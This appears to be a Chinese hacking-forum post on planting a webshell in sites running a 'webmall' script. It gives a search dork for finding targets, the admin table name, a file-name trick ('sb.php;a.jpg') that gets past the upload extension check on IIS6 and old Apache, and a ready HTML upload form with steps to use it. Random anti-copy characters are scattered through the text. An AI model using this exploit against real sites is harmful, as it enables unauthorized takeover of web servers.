关键字:inurl:webmall/detail.php?id
, f! B1 S* W% b% i6 d4 ?
1 e$ v; E1 i; p& j' `4 W数据表:pwn_base_admin
4 s) m. j! T+ a# s / L, |- |3 h# `
关于拿shell4 V6 s' Q. a6 _0 r* G3 Q6 m6 }/ ]
, P9 p5 T( B: _9 m [+ a首先登录后台admin.php
$ e4 c4 W. }4 r: Y1 B- I 8 ^* O0 X' z6 G1 B0 a6 b
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。
3 P2 ^9 d% _9 i" i# g换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg$ G2 L6 o7 L( \/ I
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的
% D+ J1 q# G7 i6 c8 l<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> , @0 F% Y+ H, z; c2 ^! Q% c
<input type="text" name="fileName" value="sb.php;a.jpg" /> # R9 V3 s9 C l6 {4 v
<input type="hidden" name="attachPath" value="news/pics/" /> & u$ p5 ^0 y. I" n
<input type="file" name="fileData" size="14" /></td>
* t. `* ^% M! X n6 {/ ^1 ?3 {- Y<input type="submit" name="button" value="确定" /> 0 H4 D8 w D$ \! y! r0 q: n
</form>
8 N% k N9 T6 a% z, X; V * @, |. J9 I3 q1 W
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。
9 }% z, M7 [) `- J3 h6 L0 R. f' ~. ^0 E3 q# l& v/ @: Z
|